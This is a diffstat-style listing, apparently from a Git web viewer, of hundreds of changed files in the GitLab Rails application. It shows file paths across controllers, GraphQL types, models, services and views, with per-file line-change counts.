-rw-r--r--app/controllers/groups/dependency_proxy_auth_controller.rb11
-rw-r--r--app/controllers/groups/dependency_proxy_for_containers_controller.rb9
-rw-r--r--app/controllers/groups/group_members_controller.rb4
-rw-r--r--app/controllers/groups/milestones_controller.rb3
-rw-r--r--app/controllers/groups/settings/integrations_controller.rb4
-rw-r--r--app/controllers/groups_controller.rb11
-rw-r--r--app/controllers/import/bulk_imports_controller.rb17
-rw-r--r--app/controllers/import/fogbugz_controller.rb8
-rw-r--r--app/controllers/import/gitea_controller.rb8
-rw-r--r--app/controllers/import/github_controller.rb22
-rw-r--r--app/controllers/import/gitlab_groups_controller.rb10
-rw-r--r--app/controllers/import/gitlab_projects_controller.rb10
-rw-r--r--app/controllers/import/google_code_controller.rb123
-rw-r--r--app/controllers/invites_controller.rb14
-rw-r--r--app/controllers/jira_connect/app_descriptor_controller.rb71
-rw-r--r--app/controllers/jwt_controller.rb3
-rw-r--r--app/controllers/profiles/keys_controller.rb21
-rw-r--r--app/controllers/projects/alert_management_controller.rb2
-rw-r--r--app/controllers/projects/alerting/notifications_controller.rb4
-rw-r--r--app/controllers/projects/blob_controller.rb5
-rw-r--r--app/controllers/projects/boards_controller.rb2
-rw-r--r--app/controllers/projects/branches_controller.rb47
-rw-r--r--app/controllers/projects/ci/pipeline_editor_controller.rb3
-rw-r--r--app/controllers/projects/cycle_analytics_controller.rb2
-rw-r--r--app/controllers/projects/feature_flags_controller.rb11
-rw-r--r--app/controllers/projects/issues_controller.rb23
-rw-r--r--app/controllers/projects/jobs_controller.rb23
-rw-r--r--app/controllers/projects/merge_requests/creations_controller.rb6
-rw-r--r--app/controllers/projects/merge_requests/diffs_controller.rb2
-rw-r--r--app/controllers/projects/merge_requests_controller.rb22
-rw-r--r--app/controllers/projects/milestones_controller.rb3
-rw-r--r--app/controllers/projects/pipelines_controller.rb14
-rw-r--r--app/controllers/projects/prometheus/alerts_controller.rb4
-rw-r--r--app/controllers/projects/raw_controller.rb16
-rw-r--r--app/controllers/projects/runners_controller.rb15
-rw-r--r--app/controllers/projects/settings/ci_cd_controller.rb1
-rw-r--r--app/controllers/projects/settings/operations_controller.rb1
-rw-r--r--app/controllers/projects/static_site_editor_controller.rb4
-rw-r--r--app/controllers/projects/wikis_controller.rb3
-rw-r--r--app/controllers/projects_controller.rb24
-rw-r--r--app/controllers/registrations/welcome_controller.rb2
-rw-r--r--app/controllers/registrations_controller.rb12
-rw-r--r--app/controllers/repositories/git_http_client_controller.rb6
-rw-r--r--app/controllers/repositories/git_http_controller.rb7
-rw-r--r--app/controllers/repositories/lfs_api_controller.rb22
-rw-r--r--app/controllers/search_controller.rb34
-rw-r--r--app/controllers/uploads_controller.rb8
-rw-r--r--app/controllers/users_controller.rb18
-rw-r--r--app/controllers/whats_new_controller.rb34
-rw-r--r--app/experiments/application_experiment.rb83
-rw-r--r--app/finders/alert_management/alerts_finder.rb7
-rw-r--r--app/finders/ci/daily_build_group_report_results_finder.rb13
-rw-r--r--app/finders/ci/pipelines_finder.rb12
-rw-r--r--app/finders/ci/pipelines_for_merge_request_finder.rb29
-rw-r--r--app/finders/feature_flags_finder.rb6
-rw-r--r--app/finders/group_descendants_finder.rb2
-rw-r--r--app/finders/group_members_finder.rb7
-rw-r--r--app/finders/issuable_finder.rb9
-rw-r--r--app/finders/issuable_finder/params.rb4
-rw-r--r--app/finders/members_finder.rb9
-rw-r--r--app/finders/merge_requests_finder.rb32
-rw-r--r--app/finders/merge_requests_finder/params.rb25
-rw-r--r--app/finders/releases/evidence_pipeline_finder.rb46
-rw-r--r--app/graphql/mutations/alert_management/base.rb2
-rw-r--r--app/graphql/mutations/alert_management/create_alert_issue.rb1
-rw-r--r--app/graphql/mutations/alert_management/http_integration/destroy.rb2
-rw-r--r--app/graphql/mutations/alert_management/http_integration/reset_token.rb2
-rw-r--r--app/graphql/mutations/alert_management/http_integration/update.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/reset_token.rb2
-rw-r--r--app/graphql/mutations/alert_management/prometheus_integration/update.rb2
-rw-r--r--app/graphql/mutations/award_emojis/add.rb2
-rw-r--r--app/graphql/mutations/award_emojis/base.rb23
-rw-r--r--app/graphql/mutations/award_emojis/remove.rb2
-rw-r--r--app/graphql/mutations/award_emojis/toggle.rb2
-rw-r--r--app/graphql/mutations/boards/common_mutation_arguments.rb24
-rw-r--r--app/graphql/mutations/boards/create.rb26
-rw-r--r--app/graphql/mutations/boards/lists/create.rb20
-rw-r--r--app/graphql/mutations/boards/update.rb43
-rw-r--r--app/graphql/mutations/ci/base.rb2
-rw-r--r--app/graphql/mutations/concerns/mutations/finds_by_gid.rb9
-rw-r--r--app/graphql/mutations/container_repositories/destroy.rb13
-rw-r--r--app/graphql/mutations/container_repositories/destroy_base.rb18
-rw-r--r--app/graphql/mutations/container_repositories/destroy_tags.rb50
-rw-r--r--app/graphql/mutations/design_management/base.rb2
-rw-r--r--app/graphql/mutations/discussions/toggle_resolve.rb2
-rw-r--r--app/graphql/mutations/environments/canary_ingress/update.rb39
-rw-r--r--app/graphql/mutations/issues/update.rb2
-rw-r--r--app/graphql/mutations/merge_requests/base.rb2
-rw-r--r--app/graphql/mutations/metrics/dashboard/annotations/create.rb4
-rw-r--r--app/graphql/mutations/metrics/dashboard/annotations/delete.rb2
-rw-r--r--app/graphql/mutations/notes/create/base.rb2
-rw-r--r--app/graphql/mutations/notes/create/note.rb2
-rw-r--r--app/graphql/mutations/notes/destroy.rb2
-rw-r--r--app/graphql/mutations/notes/reposition_image_diff_note.rb2
-rw-r--r--app/graphql/mutations/notes/update/base.rb2
-rw-r--r--app/graphql/mutations/releases/create.rb3
-rw-r--r--app/graphql/mutations/releases/delete.rb40
-rw-r--r--app/graphql/mutations/releases/update.rb70
-rw-r--r--app/graphql/mutations/snippets/create.rb31
-rw-r--r--app/graphql/mutations/snippets/destroy.rb2
-rw-r--r--app/graphql/mutations/snippets/mark_as_spam.rb4
-rw-r--r--app/graphql/mutations/snippets/update.rb8
-rw-r--r--app/graphql/mutations/todos/mark_done.rb2
-rw-r--r--app/graphql/mutations/todos/restore.rb2
-rw-r--r--app/graphql/mutations/todos/restore_many.rb4
-rw-r--r--app/graphql/queries/epic/epic_children.query.graphql126
-rw-r--r--app/graphql/queries/epic/epic_details.query.graphql20
-rw-r--r--app/graphql/resolvers/alert_management/alert_resolver.rb5
-rw-r--r--app/graphql/resolvers/assigned_merge_requests_resolver.rb1
-rw-r--r--app/graphql/resolvers/authored_merge_requests_resolver.rb1
-rw-r--r--app/graphql/resolvers/base_resolver.rb12
-rw-r--r--app/graphql/resolvers/board_list_issues_resolver.rb2
-rw-r--r--app/graphql/resolvers/board_lists_resolver.rb10
-rw-r--r--app/graphql/resolvers/ci/config_resolver.rb60
-rw-r--r--app/graphql/resolvers/ci/jobs_resolver.rb2
-rw-r--r--app/graphql/resolvers/ci/pipeline_stages_resolver.rb3
-rw-r--r--app/graphql/resolvers/ci/runner_setup_resolver.rb5
-rw-r--r--app/graphql/resolvers/concerns/caching_array_resolver.rb17
-rw-r--r--app/graphql/resolvers/concerns/manual_authorization.rb11
-rw-r--r--app/graphql/resolvers/design_management/design_resolver.rb2
-rw-r--r--app/graphql/resolvers/design_management/version/design_at_version_resolver.rb2
-rw-r--r--app/graphql/resolvers/design_management/version_in_collection_resolver.rb2
-rw-r--r--app/graphql/resolvers/design_management/versions_resolver.rb2
-rw-r--r--app/graphql/resolvers/error_tracking/sentry_error_stack_trace_resolver.rb2
-rw-r--r--app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb27
-rw-r--r--app/graphql/resolvers/group_members_resolver.rb5
-rw-r--r--app/graphql/resolvers/issue_status_counts_resolver.rb2
-rw-r--r--app/graphql/resolvers/issues_resolver.rb4
-rw-r--r--app/graphql/resolvers/members_resolver.rb4
-rw-r--r--app/graphql/resolvers/merge_request_pipelines_resolver.rb22
-rw-r--r--app/graphql/resolvers/merge_requests_resolver.rb10
-rw-r--r--app/graphql/resolvers/project_members_resolver.rb5
-rw-r--r--app/graphql/resolvers/project_merge_requests_resolver.rb1
-rw-r--r--app/graphql/resolvers/project_pipeline_resolver.rb4
-rw-r--r--app/graphql/resolvers/project_pipeline_statistics_resolver.rb28
-rw-r--r--app/graphql/resolvers/projects/jira_imports_resolver.rb23
-rw-r--r--app/graphql/resolvers/projects/services_resolver.rb6
-rw-r--r--app/graphql/resolvers/review_requested_merge_requests_resolver.rb13
-rw-r--r--app/graphql/resolvers/snippets/blobs_resolver.rb6
-rw-r--r--app/graphql/resolvers/user_discussions_count_resolver.rb26
-rw-r--r--app/graphql/resolvers/user_notes_count_resolver.rb26
-rw-r--r--app/graphql/resolvers/users/group_count_resolver.rb2
-rw-r--r--app/graphql/resolvers/users_resolver.rb2
-rw-r--r--app/graphql/types/alert_management/domain_filter_enum.rb13
-rw-r--r--app/graphql/types/alert_management/prometheus_integration_type.rb2
-rw-r--r--app/graphql/types/award_emojis/award_emoji_type.rb9
-rw-r--r--app/graphql/types/base_field.rb7
-rw-r--r--app/graphql/types/base_interface.rb2
-rw-r--r--app/graphql/types/board_list_type.rb7
-rw-r--r--app/graphql/types/board_type.rb6
-rw-r--r--app/graphql/types/ci/analytics_type.rb33
-rw-r--r--app/graphql/types/ci/ci_cd_setting_type.rb20
-rw-r--r--app/graphql/types/ci/config/config_type.rb21
-rw-r--r--app/graphql/types/ci/config/group_type.rb19
-rw-r--r--app/graphql/types/ci/config/job_type.rb21
-rw-r--r--app/graphql/types/ci/config/need_type.rb15
-rw-r--r--app/graphql/types/ci/config/stage_type.rb17
-rw-r--r--app/graphql/types/ci/config/status_enum.rb15
-rw-r--r--app/graphql/types/ci/detailed_status_type.rb30
-rw-r--r--app/graphql/types/ci/group_type.rb7
-rw-r--r--app/graphql/types/ci/job_artifact_file_type_enum.rb13
-rw-r--r--app/graphql/types/ci/job_artifact_type.rb24
-rw-r--r--app/graphql/types/ci/job_type.rb30
-rw-r--r--app/graphql/types/ci/pipeline_type.rb24
-rw-r--r--app/graphql/types/ci/stage_type.rb7
-rw-r--r--app/graphql/types/commit_type.rb11
-rw-r--r--app/graphql/types/concerns/gitlab_style_deprecations.rb4
-rw-r--r--app/graphql/types/container_repository_type.rb5
-rw-r--r--app/graphql/types/design_management/design_collection_type.rb2
-rw-r--r--app/graphql/types/error_tracking/sentry_error_collection_type.rb21
-rw-r--r--app/graphql/types/group_invitation_type.rb7
-rw-r--r--app/graphql/types/group_member_relation_enum.rb12
-rw-r--r--app/graphql/types/group_member_type.rb7
-rw-r--r--app/graphql/types/group_type.rb25
-rw-r--r--app/graphql/types/issue_type.rb26
-rw-r--r--app/graphql/types/jira_import_type.rb3
-rw-r--r--app/graphql/types/jira_users_mapping_input_type.rb2
-rw-r--r--app/graphql/types/merge_request_connection_type.rb15
-rw-r--r--app/graphql/types/merge_request_type.rb54
-rw-r--r--app/graphql/types/mutation_type.rb4
-rw-r--r--app/graphql/types/namespace_type.rb8
-rw-r--r--app/graphql/types/notes/diff_position_type.rb42
-rw-r--r--app/graphql/types/notes/note_type.rb14
-rw-r--r--app/graphql/types/permission_types/merge_request.rb4
-rw-r--r--app/graphql/types/project_member_relation_enum.rb12
-rw-r--r--app/graphql/types/project_type.rb71
-rw-r--r--app/graphql/types/query_type.rb10
-rw-r--r--app/graphql/types/snippets/blob_viewer_type.rb14
-rw-r--r--app/graphql/types/sort_enum.rb8
-rw-r--r--app/graphql/types/terraform/state_type.rb8
-rw-r--r--app/graphql/types/terraform/state_version_type.rb35
-rw-r--r--app/graphql/types/todo_type.rb21
-rw-r--r--app/graphql/types/tree/blob_type.rb11
-rw-r--r--app/graphql/types/tree/tree_type.rb31
-rw-r--r--app/graphql/types/user_type.rb12
-rw-r--r--app/helpers/admin/user_actions_helper.rb56
-rw-r--r--app/helpers/application_helper.rb8
-rw-r--r--app/helpers/application_settings_helper.rb10
-rw-r--r--app/helpers/auth_helper.rb4
-rw-r--r--app/helpers/blob_helper.rb14
-rw-r--r--app/helpers/button_helper.rb10
-rw-r--r--app/helpers/ci/pipeline_schedules_helper.rb15
-rw-r--r--app/helpers/ci/runners_helper.rb16
-rw-r--r--app/helpers/container_registry_helper.rb4
-rw-r--r--app/helpers/defer_script_tag_helper.rb10
-rw-r--r--app/helpers/diff_helper.rb8
-rw-r--r--app/helpers/dropdowns_helper.rb2
-rw-r--r--app/helpers/environment_helper.rb2
-rw-r--r--app/helpers/events_helper.rb2
-rw-r--r--app/helpers/form_helper.rb10
-rw-r--r--app/helpers/gitlab_script_tag_helper.rb24
-rw-r--r--app/helpers/groups/group_members_helper.rb3
-rw-r--r--app/helpers/groups_helper.rb5
-rw-r--r--app/helpers/icons_helper.rb20
-rw-r--r--app/helpers/issuables_helper.rb66
-rw-r--r--app/helpers/issues_helper.rb8
-rw-r--r--app/helpers/markup_helper.rb27
-rw-r--r--app/helpers/merge_requests_helper.rb21
-rw-r--r--app/helpers/notifications_helper.rb3
-rw-r--r--app/helpers/notify_helper.rb4
-rw-r--r--app/helpers/operations_helper.rb10
-rw-r--r--app/helpers/profiles_helper.rb6
-rw-r--r--app/helpers/projects/alert_management_helper.rb2
-rw-r--r--app/helpers/projects/terraform_helper.rb5
-rw-r--r--app/helpers/projects_helper.rb19
-rw-r--r--app/helpers/search_helper.rb4
-rw-r--r--app/helpers/services_helper.rb20
-rw-r--r--app/helpers/sorting_helper.rb367
-rw-r--r--app/helpers/sorting_titles_values_helper.rb339
-rw-r--r--app/helpers/storage_helper.rb6
-rw-r--r--app/helpers/suggest_pipeline_helper.rb4
-rw-r--r--app/helpers/system_note_helper.rb3
-rw-r--r--app/helpers/time_zone_helper.rb34
-rw-r--r--app/helpers/tree_helper.rb4
-rw-r--r--app/helpers/user_callouts_helper.rb5
-rw-r--r--app/helpers/users_helper.rb93
-rw-r--r--app/helpers/visibility_level_helper.rb10
-rw-r--r--app/helpers/web_ide_button_helper.rb12
-rw-r--r--app/helpers/whats_new_helper.rb20
-rw-r--r--app/mailers/emails/issues.rb10
-rw-r--r--app/mailers/emails/members.rb9
-rw-r--r--app/mailers/emails/profile.rb8
-rw-r--r--app/mailers/emails/service_desk.rb2
-rw-r--r--app/models/alert_management/alert.rb9
-rw-r--r--app/models/alert_management/http_integration.rb1
-rw-r--r--app/models/analytics/devops_adoption.rb6
-rw-r--r--app/models/analytics/devops_adoption/segment.rb24
-rw-r--r--app/models/analytics/devops_adoption/segment_selection.rb36
-rw-r--r--app/models/application_setting.rb57
-rw-r--r--app/models/application_setting_implementation.rb6
-rw-r--r--app/models/approval.rb2
-rw-r--r--app/models/audit_event.rb2
-rw-r--r--app/models/bulk_imports/entity.rb25
-rw-r--r--app/models/bulk_imports/failure.rb13
-rw-r--r--app/models/ci/bridge.rb6
-rw-r--r--app/models/ci/build.rb55
-rw-r--r--app/models/ci/build_dependencies.rb82
-rw-r--r--app/models/ci/build_trace_chunks/fog.rb29
-rw-r--r--app/models/ci/job_artifact.rb8
-rw-r--r--app/models/ci/pipeline.rb130
-rw-r--r--app/models/clusters/agent.rb4
-rw-r--r--app/models/clusters/applications/helm.rb35
-rw-r--r--app/models/clusters/applications/runner.rb2
-rw-r--r--app/models/clusters/cluster.rb4
-rw-r--r--app/models/clusters/concerns/application_core.rb8
-rw-r--r--app/models/clusters/concerns/application_data.rb8
-rw-r--r--app/models/clusters/platforms/kubernetes.rb66
-rw-r--r--app/models/commit_collection.rb6
-rw-r--r--app/models/concerns/cache_markdown_field.rb62
-rw-r--r--app/models/concerns/can_move_repository_storage.rb46
-rw-r--r--app/models/concerns/case_sensitivity.rb12
-rw-r--r--app/models/concerns/enums/ci/pipeline.rb9
-rw-r--r--app/models/concerns/enums/data_visualization_palette.rb33
-rw-r--r--app/models/concerns/enums/internal_id.rb3
-rw-r--r--app/models/concerns/has_repository.rb2
-rw-r--r--app/models/concerns/has_wiki_page_meta_attributes.rb164
-rw-r--r--app/models/concerns/has_wiki_page_slug_attributes.rb25
-rw-r--r--app/models/concerns/ignorable_columns.rb12
-rw-r--r--app/models/concerns/issuable.rb9
-rw-r--r--app/models/concerns/mentionable.rb41
-rw-r--r--app/models/concerns/optimized_issuable_label_filter.rb37
-rw-r--r--app/models/concerns/project_features_compatibility.rb8
-rw-r--r--app/models/concerns/protected_ref.rb6
-rw-r--r--app/models/concerns/protected_ref_access.rb1
-rw-r--r--app/models/concerns/reactive_caching.rb3
-rw-r--r--app/models/concerns/repository_storage_movable.rb121
-rw-r--r--app/models/concerns/routable.rb47
-rw-r--r--app/models/concerns/shardable.rb1
-rw-r--r--app/models/concerns/timebox.rb6
-rw-r--r--app/models/concerns/token_authenticatable.rb7
-rw-r--r--app/models/concerns/token_authenticatable_strategies/base.rb10
-rw-r--r--app/models/concerns/triggerable_hooks.rb5
-rw-r--r--app/models/container_repository.rb3
-rw-r--r--app/models/custom_emoji.rb2
-rw-r--r--app/models/cycle_analytics/level_base.rb57
-rw-r--r--app/models/cycle_analytics/project_level.rb9
-rw-r--r--app/models/dependency_proxy.rb2
-rw-r--r--app/models/dependency_proxy/manifest.rb16
-rw-r--r--app/models/dependency_proxy/registry.rb9
-rw-r--r--app/models/deployment.rb24
-rw-r--r--app/models/diff_note.rb4
-rw-r--r--app/models/environment.rb41
-rw-r--r--app/models/experiment.rb17
-rw-r--r--app/models/experiment_subject.rb28
-rw-r--r--app/models/exported_protected_branch.rb5
-rw-r--r--app/models/group.rb22
-rw-r--r--app/models/group_import_state.rb4
-rw-r--r--app/models/identity.rb3
-rw-r--r--app/models/issue.rb8
-rw-r--r--app/models/iteration.rb6
-rw-r--r--app/models/label.rb2
-rw-r--r--app/models/label_priority.rb5
-rw-r--r--app/models/list.rb2
-rw-r--r--app/models/merge_request.rb68
-rw-r--r--app/models/merge_request/metrics.rb5
-rw-r--r--app/models/merge_request_diff.rb34
-rw-r--r--app/models/merge_request_reviewer.rb2
-rw-r--r--app/models/milestone.rb4
-rw-r--r--app/models/namespace.rb1
-rw-r--r--app/models/namespace_onboarding_action.rb27
-rw-r--r--app/models/note.rb5
-rw-r--r--app/models/notification_setting.rb2
-rw-r--r--app/models/packages/event.rb5
-rw-r--r--app/models/packages/package.rb26
-rw-r--r--app/models/packages/package_file.rb11
-rw-r--r--app/models/pages/lookup_path.rb33
-rw-r--r--app/models/pages_domain.rb8
-rw-r--r--app/models/personal_access_token.rb13
-rw-r--r--app/models/project.rb89
-rw-r--r--app/models/project_feature.rb4
-rw-r--r--app/models/project_repository.rb1
-rw-r--r--app/models/project_repository_storage_move.rb105
-rw-r--r--app/models/project_services/datadog_service.rb124
-rw-r--r--app/models/project_services/jenkins_service.rb91
-rw-r--r--app/models/project_services/jira_service.rb5
-rw-r--r--app/models/project_services/mock_deployment_service.rb6
-rw-r--r--app/models/project_services/pipelines_email_service.rb4
-rw-r--r--app/models/project_statistics.rb2
-rw-r--r--app/models/protected_branch.rb4
-rw-r--r--app/models/protected_branch/push_access_level.rb12
-rw-r--r--app/models/raw_usage_data.rb2
-rw-r--r--app/models/redirect_route.rb2
-rw-r--r--app/models/release.rb2
-rw-r--r--app/models/release_highlight.rb102
-rw-r--r--app/models/repository.rb5
-rw-r--r--app/models/resource_event.rb8
-rw-r--r--app/models/resource_label_event.rb13
-rw-r--r--app/models/resource_state_event.rb4
-rw-r--r--app/models/resource_timebox_event.rb10
-rw-r--r--app/models/route.rb2
-rw-r--r--app/models/sentry_issue.rb5
-rw-r--r--app/models/service.rb26
-rw-r--r--app/models/snippet.rb6
-rw-r--r--app/models/snippet_blob.rb4
-rw-r--r--app/models/snippet_repository_storage_move.rb24
-rw-r--r--app/models/suggestion.rb3
-rw-r--r--app/models/system_note_metadata.rb7
-rw-r--r--app/models/terraform/state.rb29
-rw-r--r--app/models/terraform/state_version.rb4
-rw-r--r--app/models/timelog.rb4
-rw-r--r--app/models/todo.rb6
-rw-r--r--app/models/user.rb59
-rw-r--r--app/models/user_callout.rb3
-rw-r--r--app/models/user_detail.rb2
-rw-r--r--app/models/wiki_page/meta.rb135
-rw-r--r--app/models/wiki_page/slug.rb23
-rw-r--r--app/models/zoom_meeting.rb10
-rw-r--r--app/policies/base_policy.rb4
-rw-r--r--app/policies/ci/build_policy.rb15
-rw-r--r--app/policies/concerns/policy_actor.rb4
-rw-r--r--app/policies/global_policy.rb3
-rw-r--r--app/policies/group_policy.rb5
-rw-r--r--app/policies/issuable_policy.rb2
-rw-r--r--app/policies/namespace_policy.rb1
-rw-r--r--app/policies/project_ci_cd_setting_policy.rb5
-rw-r--r--app/policies/project_policy.rb27
-rw-r--r--app/policies/timebox_policy.rb10
-rw-r--r--app/policies/user_policy.rb5
-rw-r--r--app/presenters/alert_management/alert_presenter.rb3
-rw-r--r--app/presenters/analytics/cycle_analytics/stage_presenter.rb58
-rw-r--r--app/presenters/ci/pipeline_presenter.rb3
-rw-r--r--app/presenters/gitlab/whats_new/item_presenter.rb22
-rw-r--r--app/presenters/packages/composer/packages_presenter.rb2
-rw-r--r--app/presenters/project_presenter.rb23
-rw-r--r--app/presenters/projects/import_export/project_export_presenter.rb4
-rw-r--r--app/presenters/search_service_presenter.rb43
-rw-r--r--app/serializers/admin/user_entity.rb31
-rw-r--r--app/serializers/admin/user_serializer.rb7
-rw-r--r--app/serializers/codequality_degradation_entity.rb14
-rw-r--r--app/serializers/codequality_reports_comparer_entity.rb15
-rw-r--r--app/serializers/codequality_reports_comparer_serializer.rb5
-rw-r--r--app/serializers/concerns/user_status_tooltip.rb14
-rw-r--r--app/serializers/diff_file_base_entity.rb2
-rw-r--r--app/serializers/diffs_metadata_entity.rb4
-rw-r--r--app/serializers/environment_entity.rb8
-rw-r--r--app/serializers/import/bulk_import_entity.rb4
-rw-r--r--app/serializers/merge_request_assignee_entity.rb9
-rw-r--r--app/serializers/merge_request_current_user_entity.rb24
-rw-r--r--app/serializers/merge_request_reviewer_entity.rb9
-rw-r--r--app/serializers/merge_request_sidebar_extras_entity.rb4
-rw-r--r--app/serializers/merge_request_user_entity.rb27
-rw-r--r--app/serializers/merge_request_widget_entity.rb17
-rw-r--r--app/serializers/paginated_diff_entity.rb2
-rw-r--r--app/serializers/pipeline_serializer.rb2
-rw-r--r--app/serializers/rollout_status_entity.rb18
-rw-r--r--app/serializers/rollout_statuses/ingress_entity.rb7
-rw-r--r--app/serializers/user_entity.rb2
-rw-r--r--app/serializers/user_serializer.rb4
-rw-r--r--app/services/admin/propagate_integration_service.rb2
-rw-r--r--app/services/alert_management/process_prometheus_alert_service.rb12
-rw-r--r--app/services/application_settings/update_service.rb26
-rw-r--r--app/services/auth/container_registry_authentication_service.rb12
-rw-r--r--app/services/auth/dependency_proxy_authentication_service.rb43
-rw-r--r--app/services/boards/lists/create_service.rb28
-rw-r--r--app/services/boards/lists/generate_service.rb6
-rw-r--r--app/services/ci/compare_codequality_reports_service.rb17
-rw-r--r--app/services/ci/create_pipeline_service.rb5
-rw-r--r--app/services/ci/list_config_variables_service.rb24
-rw-r--r--app/services/ci/test_cases_service.rb44
-rw-r--r--app/services/ci/test_failure_history_service.rb95
-rw-r--r--app/services/ci/update_build_state_service.rb20
-rw-r--r--app/services/clusters/applications/prometheus_health_check_service.rb6
-rw-r--r--app/services/clusters/aws/authorize_role_service.rb24
-rw-r--r--app/services/clusters/aws/fetch_credentials_service.rb9
-rw-r--r--app/services/concerns/exclusive_lease_guard.rb2
-rw-r--r--app/services/concerns/users/participable_service.rb59
-rw-r--r--app/services/container_expiration_policies/cleanup_service.rb3
-rw-r--r--app/services/dependency_proxy/auth_token_service.rb21
-rw-r--r--app/services/dependency_proxy/base_service.rb10
-rw-r--r--app/services/dependency_proxy/download_blob_service.rb10
-rw-r--r--app/services/dependency_proxy/find_or_create_manifest_service.rb52
-rw-r--r--app/services/dependency_proxy/head_manifest_service.rb29
-rw-r--r--app/services/dependency_proxy/pull_manifest_service.rb18
-rw-r--r--app/services/environments/canary_ingress/update_service.rb70
-rw-r--r--app/services/feature_flags/create_service.rb9
-rw-r--r--app/services/git/base_hooks_service.rb5
-rw-r--r--app/services/git/branch_hooks_service.rb2
-rw-r--r--app/services/groups/create_service.rb2
-rw-r--r--app/services/groups/transfer_service.rb13
-rw-r--r--app/services/import/bitbucket_server_service.rb8
-rw-r--r--app/services/import/github_service.rb13
-rw-r--r--app/services/incident_management/incidents/update_severity_service.rb2
-rw-r--r--app/services/integrations/test/project_service.rb6
-rw-r--r--app/services/issuable/import_csv/base_service.rb15
-rw-r--r--app/services/issues/base_service.rb16
-rw-r--r--app/services/issues/clone_service.rb90
-rw-r--r--app/services/issues/create_service.rb16
-rw-r--r--app/services/issues/export_csv_service.rb2
-rw-r--r--app/services/issues/update_service.rb15
-rw-r--r--app/services/jira/requests/base.rb7
-rw-r--r--app/services/jira_connect/sync_service.rb12
-rw-r--r--app/services/members/create_service.rb6
-rw-r--r--app/services/members/invitation_reminder_email_service.rb6
-rw-r--r--app/services/merge_requests/after_create_service.rb2
-rw-r--r--app/services/merge_requests/base_service.rb2
-rw-r--r--app/services/merge_requests/update_service.rb2
-rw-r--r--app/services/notes/create_service.rb2
-rw-r--r--app/services/notification_service.rb16
-rw-r--r--app/services/onboarding_progress_service.rb11
-rw-r--r--app/services/packages/composer/create_package_service.rb2
-rw-r--r--app/services/packages/conan/create_package_file_service.rb9
-rw-r--r--app/services/packages/create_event_service.rb10
-rw-r--r--app/services/packages/create_package_service.rb16
-rw-r--r--app/services/packages/generic/create_package_file_service.rb5
-rw-r--r--app/services/packages/generic/find_or_create_package_service.rb6
-rw-r--r--app/services/packages/maven/find_or_create_package_service.rb2
-rw-r--r--app/services/packages/npm/create_package_service.rb8
-rw-r--r--app/services/packages/pypi/create_package_service.rb3
-rw-r--r--app/services/pages/legacy_storage_lease.rb28
-rw-r--r--app/services/pages/zip_directory_service.rb83
-rw-r--r--app/services/post_receive_service.rb6
-rw-r--r--app/services/projects/alerting/notify_service.rb14
-rw-r--r--app/services/projects/container_repository/delete_tags_service.rb1
-rw-r--r--app/services/projects/participants_service.rb2
-rw-r--r--app/services/projects/prometheus/alerts/notify_service.rb40
-rw-r--r--app/services/projects/schedule_bulk_repository_shard_moves_service.rb35
-rw-r--r--app/services/projects/transfer_service.rb11
-rw-r--r--app/services/projects/update_pages_service.rb16
-rw-r--r--app/services/releases/base_service.rb20
-rw-r--r--app/services/releases/create_service.rb22
-rw-r--r--app/services/resource_events/change_labels_service.rb2
-rw-r--r--app/services/service_desk_settings/update_service.rb2
-rw-r--r--app/services/submit_usage_ping_service.rb2
-rw-r--r--app/services/system_hooks_service.rb35
-rw-r--r--app/services/system_note_service.rb4
-rw-r--r--app/services/system_notes/issuables_service.rb23
-rw-r--r--app/services/upload_service.rb8
-rw-r--r--app/services/users/approve_service.rb9
-rw-r--r--app/services/users/reject_service.rb28
-rw-r--r--app/services/users/set_status_service.rb19
-rw-r--r--app/services/users/validate_otp_service.rb6
-rw-r--r--app/uploaders/terraform/state_uploader.rb22
-rw-r--r--app/uploaders/terraform/versioned_state_uploader.rb23
-rw-r--r--app/validators/json_schema_validator.rb11
-rw-r--r--app/validators/json_schemas/codeclimate.json34
-rw-r--r--app/validators/json_schemas/http_integration_payload_attribute_mapping.json14
-rw-r--r--app/validators/json_schemas/vulnerability_finding_details.json182
-rw-r--r--app/views/admin/appearances/_form.html.haml6
-rw-r--r--app/views/admin/application_settings/_account_and_limit.html.haml3
-rw-r--r--app/views/admin/application_settings/_eks.html.haml5
-rw-r--r--app/views/admin/application_settings/_ip_limits.html.haml26
-rw-r--r--app/views/admin/application_settings/_kroki.html.haml25
-rw-r--r--app/views/admin/application_settings/_plantuml.html.haml2
-rw-r--r--app/views/admin/application_settings/_signup.html.haml4
-rw-r--r--app/views/admin/application_settings/_visibility_and_access.html.haml8
-rw-r--r--app/views/admin/application_settings/general.html.haml16
-rw-r--r--app/views/admin/application_settings/metrics_and_profiling.html.haml8
-rw-r--r--app/views/admin/dashboard/index.html.haml2
-rw-r--r--app/views/admin/dev_ops_report/show.html.haml2
-rw-r--r--app/views/admin/groups/_form.html.haml1
-rw-r--r--app/views/admin/hooks/_form.html.haml8
-rw-r--r--app/views/admin/labels/index.html.haml2
-rw-r--r--app/views/admin/runners/_sort_dropdown.html.haml2
-rw-r--r--app/views/admin/runners/show.html.haml17
-rw-r--r--app/views/admin/users/_approve_user.html.haml2
-rw-r--r--app/views/admin/users/_modals.html.haml9
-rw-r--r--app/views/admin/users/_reject_pending_user.html.haml7
-rw-r--r--app/views/admin/users/_user.html.haml15
-rw-r--r--app/views/admin/users/_user_deactivation_effects.html.haml18
-rw-r--r--app/views/admin/users/_user_reject_effects.html.haml10
-rw-r--r--app/views/admin/users/index.html.haml8
-rw-r--r--app/views/admin/users/show.html.haml104
-rw-r--r--app/views/clusters/clusters/gcp/_form.html.haml6
-rw-r--r--app/views/clusters/clusters/show.html.haml1
-rw-r--r--app/views/dashboard/todos/index.html.haml7
-rw-r--r--app/views/devise/confirmations/almost_there.haml6
-rw-r--r--app/views/devise/shared/_signup_box.html.haml9
-rw-r--r--app/views/devise/shared/_signup_omniauth_provider_list.haml9
-rw-r--r--app/views/devise/shared/_signup_omniauth_providers.haml12
-rw-r--r--app/views/devise/shared/_signup_omniauth_providers_top.haml3
-rw-r--r--app/views/devise/unlocks/new.html.haml2
-rw-r--r--app/views/doorkeeper/authorizations/new.html.haml2
-rw-r--r--app/views/explore/projects/_filter.html.haml2
-rw-r--r--app/views/groups/_create_chat_team.html.haml6
-rw-r--r--app/views/groups/_home_panel.html.haml6
-rw-r--r--app/views/groups/_import_group_from_another_instance_panel.html.haml25
-rw-r--r--app/views/groups/_import_group_from_file_panel.html.haml50
